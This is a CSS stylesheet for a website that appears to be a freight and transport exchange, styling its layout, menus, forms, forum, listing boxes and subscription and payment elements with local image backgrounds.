body {
	margin:0;
	padding:0;
	background:#ffffff;
	font-family:Verdana; 
	font-size:11px; 
	color:#555555;
	}

a {text-decoration:none; color:#5d932e;}

/* ******************** */
.txt14 {font-size:14px;}
.txt18 {font-size:18px;}

.txtBlue {color:#216683;}
.txtBlue2 {color:#063950;}

.error {color:#ff0000;}

h2 {color:#216683; font-size:18px; margin:0px; padding:0px; margin-bottom:15px; font-family:Arial;}
h3 {color:#216683; font-size:16px; margin:0px; padding:0px; margin-bottom:15px; font-family:Arial;}

.line {height:1px; background:url(../images/3x1.gif); margin:5px 0;}

/* ******************** */
.left {float:left; display:inline;}
.right {float:right; display:inline;}

#wrapper {
	width:885px;
	margin:0 auto;
	}

#topLine {
	background:#f3f4fe;
	color:#cfd0d8;
	text-align:center;
	height:18px;
	line-height:18px;
	}
.floatLeft {float:left; display:inline;}
.floatRight {float:right; display:inline;}
.clear {clear:both; height:0px;}

#header {
	height:110px;
	}
.logo {
	margin:5px 0 0 20px;
	display: inline;
    vertical-align: middle;
	width:300px;
	float:left;
	}
#header .rightTop {
	width:500px;
	margin-top:10px;
	float:right;
	display:inline;
	}
#topLogin a {font-size:11px; color:#555555; text-decoration:underline;}
#header .avatar {
	background:#ffffff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #063a51;
	padding:2px;
	float:left; display:inline; width:50px;
	text-align:center; margin-right:10px;
	}
#header .avatarDetails {
	float:left; display:inline;
	width:250px;
	line-height:18px;
	}
#header .avatarDetails a {font-size:11px; font-weight:bold; text-decoration:none; color:#5d932e;}	


.mainBox {
	min-height:180px;
	-moz-border-radius-bottomleft: 5px;
	-moz-border-radius-bottomright: 5px;
	-webkit-border-bottom-left-radius: 5px;
	-webkit-border-bottom-right-radius: 5px;
	border: 1px solid #cdebea; border-top:1px solid #b3bfc4;
	background:url(../images/new_bg_top02.jpg) repeat-x bottom #d3e0f5;
	padding:10px;
	color:#3e3e3e; text-align:center;
	margin-bottom:20px;
	}
#boxLogout {
	background:url(../images/new_bg_top01.jpg) repeat-x top;
	min-height:115px;
	color: #ffffff;
	}
#boxLogout ul { margin:0px; padding:0px; list-style: none; line-height:18px;}
#boxLogout li { background:url(../images/arrowTop.png) no-repeat 0 6px; text-decoration:none; padding-left:20px; padding-bottom:5px;}


#boxLogin {
	background:#ffffff;
	border: 1px solid #063a51; border-top:0px solid #ffffff;
	min-height:30px; padding:0px; padding-top:5px;
	}
#boxLogin ul {margin:0px; padding:0px;}	
#boxLogin li{
	float:left;	 
	padding:0; 
	margin:0;  
	list-style-type:none;
	height:24px; padding-left:30px; line-height:24px;
	font-size:12px; font-weight:bold;
	margin-right:30px;
	}
#boxLogin li a {text-decoration:none; color:#063a51;}
#boxLogin li a:hover {color:#5d932e;}
#boxLogin li.first {background:url(../images/icon_menu.png) no-repeat 0px -24px}
#boxLogin li.first:hover {background:url(../images/icon_menu.png) no-repeat 0px 0px}
#boxLogin li.second {background:url(../images/icon_menu.png) no-repeat 0px -72px}
#boxLogin li.second:hover {background:url(../images/icon_menu.png) no-repeat 0px -48px}	
#boxLogin li.third {background:url(../images/icon_menu.png) no-repeat 0px -120px}
#boxLogin li.third:hover {background:url(../images/icon_menu.png) no-repeat 0px -96px}	
#boxLogin li.fourth {background:url(../images/icon_menu.png) no-repeat 0px -168px}
#boxLogin li.fourth:hover {background:url(../images/icon_menu.png) no-repeat 0px -144px}
#boxLogin li.fifth {background:url(../images/icon_menu.png) no-repeat 0px -216px}
#boxLogin li.fifth:hover {background:url(../images/icon_menu.png) no-repeat 0px -192px}
#boxLogin li.sixth {background:url(../images/icon_menu.png) no-repeat 0px -264px}
#boxLogin li.sixth:hover {background:url(../images/icon_menu.png) no-repeat 0px -240px}
	



a.registerBig {
	width: 185px;
	padding-left:30px;
	height: 35px;
	line-height:34px;
	display: block;
	text-decoration:none;
	color: #ffffff; font-size: 13px; font-weight:bold;
	background: url(../images/buttons.png) no-repeat 0px -100px;
	text-align: left;
	}
a.registerBig:hover { background-position: -215px -100px;}

.indexVerticalLine {background:url(../images/new_bar.png) no-repeat center center; height:170px; width:6px;}

a.merchandiseLink {
	width: 225px;
	height: 35px;
	padding-top: 15px;
	display: block;
	text-decoration:none;
	color: #ffffff; font-size: 14px; font-weight:bold;
	background: url(../images/buttons.png) no-repeat 0px 0px;
	text-align: center;
	}
a.merchandiseLink:hover { background-position: -225px 0px;}

a.transportLink {
	width: 225px;
	height: 35px;
	padding-top: 15px;
	display: block;
	text-decoration:none;
	color: #ffffff; font-size: 14px; font-weight:bold;
	background: url(../images/buttons.png) no-repeat 0px -50px;
	text-align: center;
	}
a.transportLink:hover { background-position: -225px -50px;}


.calendarBox {background:url(../images/calendarBG.png) no-repeat center left; height:40px; width:40px; padding:5px 0px 0 0; text-align:center; line-height:17px;}

.boxStatistics {
	background:#e5edfa;
	border: 1px solid #e5edfa;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:5px;
	color: #555555;
	text-align:left;
	}
#boxStatistics {
	background:#e5edfa;
	border: 1px solid #e5edfa;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	min-height:170px;
	padding:5px;
	color: #555555; font-weight:bold;
	text-align:left;
	}
#boxStatistics ul {margin:0px; padding:0px; list-style: none;}
#boxStatistics li {padding:5px 8px; border-bottom:1px solid #c1d4f2;}

.boxStatistics2 {
	background:#ffffff;
	border: 1px solid #ffffff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:5px;
	text-align:left;
	}

.boxGrey {
	background:#ffffff;
	border: 1px solid #bbbbbd;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:20px;
	margin-bottom:20px;
	}
.boxGrey ul { margin:0px; padding:0px; list-style: none; line-height:14px;}
.boxGrey li { background:url(../images/arrows.jpg) no-repeat 0 4px; text-decoration:none; padding-left:20px; padding-bottom:5px;}


.topBoxInnerPage {
	-moz-border-radius-bottomleft: 5px;
	-moz-border-radius-bottomright: 5px;
	-webkit-border-bottom-left-radius: 5px;
	-webkit-border-bottom-right-radius: 5px;
	border: 1px solid #bbbbbd; border-top:1px solid #bbbbbd;
	padding:20px; margin-bottom:20px;
	background:#f3f3f3; line-height:18px;
	}
.topBoxInnerPage a {color:#5d932e;}

.topBoxInnerPage2 {
	-moz-border-radius-bottomleft: 5px;
	-moz-border-radius-bottomright: 5px;
	-webkit-border-bottom-left-radius: 5px;
	-webkit-border-bottom-right-radius: 5px;
	border: 1px solid #bbbbbd; border-top:1px solid #bbbbbd;
	padding:20px; margin-bottom:20px;
	line-height:18px;
	}
.topBoxInnerPage2 a {color:#216683;}


 .linkALeft {background:url(../images/buttons.png) no-repeat 0 -135px; text-decoration:none; color: #ffffff; padding:3px 2px 5px 5px; height:20px; font-size:10px;line-height:16px;}
a:hover .linkALeft {background:url(../images/buttons.png) no-repeat 0 -157px; text-decoration:none; color: #ffffff; padding:3px 2px 5px 5px; height:20px;} 
 .linkARight {background:url(../images/buttons_right1.png) no-repeat top right; color: #ffffff; height:20px; width:5px; padding:3px 5px 5px 1px; font-size:10px;line-height:16px;}
a:hover .linkARight {background:url(../images/buttons_right2.png) no-repeat top right; color: #ffffff; height:20px; width:5px; padding:3px 5px 5px 1px;}


.boxBottom {
	background:#dbf0ff;
	border: 1px solid #dbf0ff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:20px;
	margin-bottom:20px;
	line-height:18px;
	}
.boxBottom strong {font-size:14px; color:#216683;}
.boxBottom b {font-size:14px; color:#216683;}


#footer 
	{
	background:#e7f5ff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #cde5ef;
	padding: 10px;
	margin-bottom:10px;
	color:#477caa;
	text-align:center;
	line-height:18px;
	}
#footer a {color:#477caa; text-decoration:none;}
#footer a:hover {text-decoration:underline;}


/* *********** Menu ********** */
#menu{
	padding:0;
	margin:0;
	list-style:none;
}
#menu li{
	float:left;
	font-size:12px;
	font-weight:bold;
	font-family:Arial;
	color: #ffffff;
	margin:0px;
	padding:0; /* indent between menu items */
}
#menu li a{
	
	display:block;
	color:#063a51;
	text-transform:uppercase;
	background:url(../images/new_a2.jpg) repeat-x top;
	text-decoration:none;
}
#menu li a .menu_left{
	display:block;
	background:url(../images/new_a1_.jpg) no-repeat top left;
}
#menu li a .menu_right{
	display:block;
	cursor:pointer; /* for IE6 */
	text-align:center;
	padding:12px 15px 8px 15px;
}
#menu li a .menu_left2{
	display:block;
	background:url(../images/new_a1.jpg) no-repeat top left;
}
#menu li a .menu_right2{
	display:block;
	cursor:pointer; /* for IE6 */
	text-align:center;
	padding:12px 15px 8px 15px;
	background:url(../images/new_a1__.jpg) no-repeat top right;
}

#menu li a:hover{
	background:url(../images/new_b2.jpg) repeat-x;
	color:#5d932e;
}
#menu li a:hover .menu_left{
	background:url(../images/new_b1_.jpg) no-repeat top left;
	color:#5d932e;
}
#menu li a:hover .menu_right{
	color:#5d932e;
}
#menu li a:hover .menu_left2{
	background:url(../images/new_b1.jpg) no-repeat top left;
	color:#5d932e;
}
#menu li a:hover .menu_right2{
	background:url(../images/new_b1__.jpg) no-repeat right top;
	color:#5d932e;
}

/*#myAccountLink { margin-left:90px;padding:12px 15px 8px 15px;}*/
#myAccountLink a {
	color:#5d932e;
	text-transform:uppercase;
	text-decoration:none;
	font-weight:bold;
	}

/* ********* FORMS ********* */
/* ******************************* */
/* ******************************* */

#profile label {width: 120px; float:left; text-align:right; margin-right:5px; display:block}
#profile p {margin:0px; padding:0px; padding-bottom:4px;}
#profile .em{border-bottom:1px solid #e7e7e7; padding:10px 0 5px 0; font-style:italic; font-weight:bold;}

input {font-size:13px; color:#555555; margin:0px; border:0px; padding:0px;}

#topLogin .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0; margin-right:5px;}
#topLogin .s105 input {background-position:0 0; text-align:center; width:105px;  margin-left:95px; padding-bottom:5px; cursor:pointer;}
#topLogin .s95 input {background-position:0 -25px; text-align:center; width:95px;  margin-left:95px; padding-bottom:5px; cursor:pointer;}
#topLogin .s85 input {background-position:0 -50px; text-align:center; width:85px;  margin-left:95px; padding-bottom:5px; cursor:pointer;}

#topLogin label {width: 90px; float:left; text-align:right; margin-right:5px; display:block}
#topLogin p {margin:0px; padding:0px; padding-bottom:4px; line-height:23px;}
#topLogin input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#topLogin input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

/* ******************************* */

.bottomGrey {
	-moz-border-radius-bottomleft: 3px;
	-moz-border-radius-bottomright: 3px;
	-webkit-border-bottom-left-radius: 3px;
	-webkit-border-bottom-right-radius: 3px;
	border: 1px solid #e7e7e7; border-top:0px solid #e7e7e7;
	background:#f3f3f3; min-height:5px;
	}
	
.topGrey {
	-moz-border-radius-topleft: 3px;
	-moz-border-radius-topright: 3px;
	-webkit-border-top-left-radius: 3px;
	-webkit-border-top-right-radius: 3px;
	border: 1px solid #e7e7e7; border-bottom:0px solid #e7e7e7;
	background:#f3f3f3; min-height:5px;
	}

/* ******************************* */ 
.formRegisterBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#registerForm label {width: 210px; float:left; text-align:left; margin-right:5px; display:block}
#registerForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#registerForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#registerForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}
#registerForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#registerForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#registerForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#registerForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#registerForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#registerForm a {color:#216683;}
.boxExplainArrow
	{
	background:url(../images/arrowExplain.png) no-repeat 0 0;
	padding-left:15px;
	}
.boxExplain
	{
	background: #dbeeff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #c3e5f4;
	padding: 5px 10px;
	font-size:11px;
	}
/* ******************************* */ 
#dirSearch .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#dirSearch .s105 input {background-position:0 0; text-align:center; width:105px;  margin-left:15px; padding-bottom:5px; cursor:pointer;}
#dirSearch .s95 input {background-position:0 -25px; text-align:center; width:95px;  margin-left:15px; padding-bottom:5px; cursor:pointer;}
#dirSearch .s85 input {background-position:0 -50px; text-align:center; width:85px;  margin-left:15px; padding-bottom:5px; cursor:pointer;}

#dirSearch label {width: 70px; float:left; text-align:left; margin-right:5px; display:block}
#dirSearch p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-weight:bold;}
#dirSearch input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#dirSearch input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}
/* ******************************* */ 
.formContactBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#contactForm label {width: 210px; float:left; text-align:left; margin-right:5px; display:block}
#contactForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#contactForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#contactForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

#contactForm textarea {background:url(../images/forms.png) no-repeat 0px -50px; height:96px; width:227px; padding:4px 0 0 3px; border:0px;}
#contactForm textarea:focus {background:url(../images/forms.png) no-repeat -230px -50px;}

#contactForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#contactForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#contactForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#contactForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#contactForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#registerForm a {color:#216683;}
/* ******************************* */

#loginForm {margin-top:10px;}
#loginForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#loginForm .s105 input {background-position:0 0; text-align:center; width:105px;  margin-left:55px; padding-bottom:5px; cursor:pointer;}
#loginForm .s95 input {background-position:0 -25px; text-align:center; width:95px;  margin-left:55px; padding-bottom:5px; cursor:pointer;}
#loginForm .s85 input {background-position:0 -50px; text-align:center; width:85px;  margin-left:55px; padding-bottom:5px; cursor:pointer;}

#loginForm label {width: 50px; float:left; text-align:left; margin-right:5px; display:block}
#loginForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px;}
#loginForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#loginForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}
#loginForm .check input {width:20px; border:0px;}

/* ******************************* */ 
.formProfileBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#profileForm label {width: 120px; float:left; text-align:left; margin-right:5px; display:block}
#profileForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#profileForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#profileForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

#profileForm textarea {background:url(../images/forms.png) no-repeat 0px -150px; height:146px; width:317px; padding:4px 0 0 3px; border:0px;}
#profileForm textarea:focus {background:url(../images/forms.png) no-repeat -320px -150px;}

#profileForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#profileForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#profileForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#profileForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#profileForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#profileForm .s85 input {background-position:0 -50px; text-align:center; width:85px; padding-bottom:5px; cursor:pointer;}
#profileForm a {color:#216683;}

/* ******************************* */ 
.formAdsBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#adsForm label {width: 120px; float:left; text-align:left; margin-right:5px; display:block}
#adsForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#adsForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#adsForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

#adsForm textarea {background:url(../images/forms.png) no-repeat 0px -325px; height:146px; width:687px; padding:4px 0 0 3px; border:0px;}
#adsForm textarea:focus {background:url(../images/forms.png) no-repeat -690px -325px;}

#adsForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#adsForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#adsForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#adsForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#adsForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#adsForm .s85 input {background-position:0 -50px; text-align:center; width:85px; padding-bottom:5px; cursor:pointer;}
#adsForm a {color:#216683;}

/* ******************************* */ 
.formAdsBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#searchForm label {width: 100px; float:left; text-align:left; margin-right:5px; display:block}
#searchForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#searchForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#searchForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

#searchForm textarea {background:url(../images/forms.png) no-repeat 0px -150px; height:146px; width:317px; padding:4px 0 0 3px; border:0px;}
#searchForm textarea:focus {background:url(../images/forms.png) no-repeat -320px -150px;}

#searchForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial; margin-bottom:5px;}
#searchForm .em{border-top:1px solid #e7e7e7; padding-top:5px; font-style:italic; font-weight:bold;}

#searchForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#searchForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#searchForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#searchForm .s85 input {background-position:0 -50px; text-align:center; width:85px; padding-bottom:5px; cursor:pointer;}
#searchForm a {color:#216683;}

/* ******************************* */ 
.formFeedbackBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#feedbackForm label {width: 120px; float:left; text-align:left; margin-right:5px; display:block}
#feedbackForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#feedbackForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#feedbackForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}

#feedbackForm textarea {background:url(../images/forms.png) no-repeat 0px -150px; height:146px; width:317px; padding:4px 0 0 3px; border:0px;}
#feedbackForm textarea:focus {background:url(../images/forms.png) no-repeat -320px -150px;}

#feedbackForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#feedbackForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#feedbackForm .check input {width:25px;}

#feedbackForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#feedbackForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#feedbackForm .s85 input {background-position:0 -50px; text-align:center; width:85px; padding-bottom:5px; cursor:pointer;}
#feedbackForm a {color:#216683;}
/* ******************************* */ 
#referralForm {}
#referralForm label {width: 120px; float:left; text-align:left; margin-right:5px; display:block}
#referralForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#referralForm input {background:url(../images/forms.png) no-repeat 0px -300px; height:21px; width:227px; padding:4px 0 0 3px;}
#referralForm input {background:url(../images/forms.png) no-repeat 0px -300px; height:21px; width:227px; padding:4px 0 0 3px;}

/* ******************************* */ 
#promoForm {}
#promoForm label {width: 120px; float:left; text-align:left; margin-right:5px; display:block}
#promoForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#promoForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}

#promoForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#promoForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer;}
#promoForm .s85 input {background-position:0 -50px; text-align:center; width:85px; padding-bottom:5px; cursor:pointer;}
#promoForm a {color:#216683;}


/* ******************************* */ 
.formForumBG {background:url(../images/bg_form_register.jpg) repeat-y;}
#forumForm label {width: 90px; float:left; text-align:left; margin-right:5px; display:block}
#forumForm p {margin:0px; padding:0px; padding-bottom:5px; line-height:25px; font-size:12px;}
#forumForm input {background:url(../images/forms.png) no-repeat 0px 0px; height:21px; width:227px; padding:4px 0 0 3px;}
#forumForm input:focus {background:url(../images/forms.png) no-repeat -230px 0px;}
#forumForm h2 {color:#216683; font-size:13px; margin:0px; padding:0px; font-family:Arial;}
#forumForm .em{border-top:1px solid #e7e7e7; padding-top:10px; font-style:italic; font-weight:bold;}

#forumForm textarea {background:url(../images/forms.png) no-repeat 0px -150px; height:146px; width:317px; padding:4px 0 0 3px; border:0px;}
#forumForm textarea:focus {background:url(../images/forms.png) no-repeat -320px -150px;}

#forumForm .check input {background:url(../images/forms.png) no-repeat 0px 25px; height:21px; width:23px; padding:4px 0 0 3px; border:0px;}

#forumForm .submit input {background-image:url(../images/forms_buttons.png); background-repeat:no-repeat; text-align:center; color: #ffffff; height:25px; padding-left:0;}
#forumForm .s105 input {background-position:0 0; text-align:center; width:105px; padding-bottom:5px; cursor:pointer; margin-left:95px;}
#forumForm a {color:#216683;}
/* ******************************* */ 

.mainLinksForum a {padding-right:10px; font-weight:bold; font-size:14px;}

.headLineForum {
	background:#dbf0ff;
	border: 1px solid #dbf0ff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:5px;
	margin-bottom:5px;
	line-height:18px;
	font-weight:bold;
	}
.headLineForum strong {font-size:14px; color:#216683;}
.headLineForum b {font-size:14px; color:#216683;}

.listForm {border-bottom:1px solid #dbf0ff; border-left:1px solid #dbf0ff;}

.listPostsAvatar {
	background:#ffffff;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #063a51;
	padding:2px;
	float:left; display:inline; width:50px;
	text-align:center; margin-right:10px;
	}
.listPostsDetails {
	float:left; display:inline; width:730px;
	padding-left:10px;
	border-left:1px dotted #ccc;
	}

/* ******************************* */
/* ******************************* */
/* ******************************* */

/* Icon Links */

.linkDefault {border: 1px solid #d3d3d3;-moz-border-radius: 4px; -webkit-border-radius: 4px; background:#ffffff; text-decoration:none; font-size:10px; color:#555555; font-family:verdana; font-weight:bold;opacity:1;filter:alpha(opacity=100); padding:1px;}
a.linkDefault:hover {opacity:1;filter:alpha(opacity=100); color:#5d932e; border-color:#c3e5f4;}
.linkIcons {background-image:url(/tpl/images/all-icons.png); background-repeat:no-repeat; padding:2px 5px 2px 20px;}

.iconEdit {background-position:0 0;}
.iconDelete {background-position:0 -16px;}
.iconChoose {background-position:0 -32px;}
.iconMap {background-position:0 -48px;}
.iconExpired {background-position:0 -16px;}
.iconLoads {background-position:0 -80px;}

/* ******************************* */

/*  Announces */

.alert_normal {
	background:#ffffff url(/tpl/images/icon_alert.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}



.tr_normal {
	background:#ffffff url(/tpl/images/leads_transport.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.tr_normal:hover {
	background:#f6f6f6 url(/tpl/images/leads_transport2.jpg) no-repeat top left;
	}
	
.ma_normal {
	background:#ffffff url(/tpl/images/leads_loads.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.ma_normal:hover {
	background:#f6f6f6 url(/tpl/images/leads_loads2.jpg) no-repeat top left;
	}	
/* ******** */
.tr_expired {
	opacity:0.6;filter:alpha(opacity=60);
	background:#ffffff url(/tpl/images/leads_transport.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.tr_expired:hover {
	background:#f6f6f6 url(/tpl/images/leads_transport2.jpg) no-repeat top left;
	}

.ma_expired {
	opacity:0.6;filter:alpha(opacity=60);
	background:#ffffff url(/tpl/images/leads_loads.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.ma_expired:hover {
	background:#f6f6f6 url(/tpl/images/leads_loads2.jpg) no-repeat top left;
	}	
/* ******** */
.tr_choosen {
	background:#ffffff url(/tpl/images/leads_transport_choose.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.tr_choosen:hover {
	background:#f6f6f6 url(/tpl/images/leads_transport_choose2.jpg) no-repeat top left;
	}

.ma_choosen {
	background:#ffffff url(/tpl/images/leads_loads_choose.jpg) no-repeat top left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	padding: 10px; padding-left:100px;
	margin-bottom:10px;
	min-height:80px;
	}
.ma_choosen:hover {
	background:#f6f6f6 url(/tpl/images/leads_loads_choose2.jpg) no-repeat top left;
	}
/* ******** */
.ma_archive {
	background:#ffffff url(/tpl/images/icon_arvhive_ma.jpg) no-repeat center left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	min-height:100px;
	padding: 10px; padding-left:50px;
	}	
	
.tr_archive {
	background:#ffffff url(/tpl/images/icon_arvhive_tr.jpg) no-repeat center left;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	border: 1px solid #bbbbbd;
	min-height:100px;
	padding: 10px; padding-left:50px;
	}
	
/* ******************************* */


.boxSubscription {
	background:#ffffff;
	border: 1px solid #bbbbbd;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	padding:5px;
	margin-bottom:20px;
	}
.priceSubscription {color:#216683; font-size:18px;}
.discountSubscription {color:#5d932e; font-size:11px; font-weight:bold;}


/* ******* Tables ********* */
#listTable td{border-top:1px solid #efefef;}
#listTable .headline {color:#216683; font-weight:bold;}
#listTable .headline td {border-bottom:1px solid #216683; border-top:0px;}

/* ******* Payment Link ********* */
a.PaymentLink {
	width: 81px;
	height: 21px;
	padding-top: 7px;
	display: block;
	text-decoration:none;
	color: #ffffff; font-size: 11px; font-weight:bold;
	background: url(../images/buttons.png) no-repeat 0px -179px;
	text-align: center;
	}
a.PaymentLink:hover { background-position: -81px -179px;}


/* ******* Columns ********* */

.columns5 {
	-moz-column-width: 13em;
	-webkit-column-width: 13em;
	-moz-column-gap: 1em;
	-webkit-column-gap: 1em;
	-moz-column-count: 5;
	-moz-column-gap: 1em;
	-moz-column-rule: 0px solid black;
	-webkit-column-count: 5;
	-webkit-column-gap: 1em;
	-webkit-column-rule: 0px solid black;
	}

.columns5 a {color:#216683;}

/* ********************* */
span.checkbox {
width: 19px;
height: 25px;
padding: 0 5px 0 0;
background: url(../images/checkbox.gif) no-repeat;
display: block;
clear: left;
float: left;
}
span.radio {
width: 19px;
height: 25px;
padding: 0 5px 0 0;
background: url(../images/radio.gif) no-repeat;
display: block;
clear: left;
float: left;
}
span.select {
position: absolute;
width: 189px; /* With the padding included, the width is 190 pixels: the actual width of the image. */
height: 19px;
padding: 5px 14px 0 5px;
color: #003399;
font-size:11px;
background: url(../images/select.jpg) no-repeat;
overflow: hidden;
}




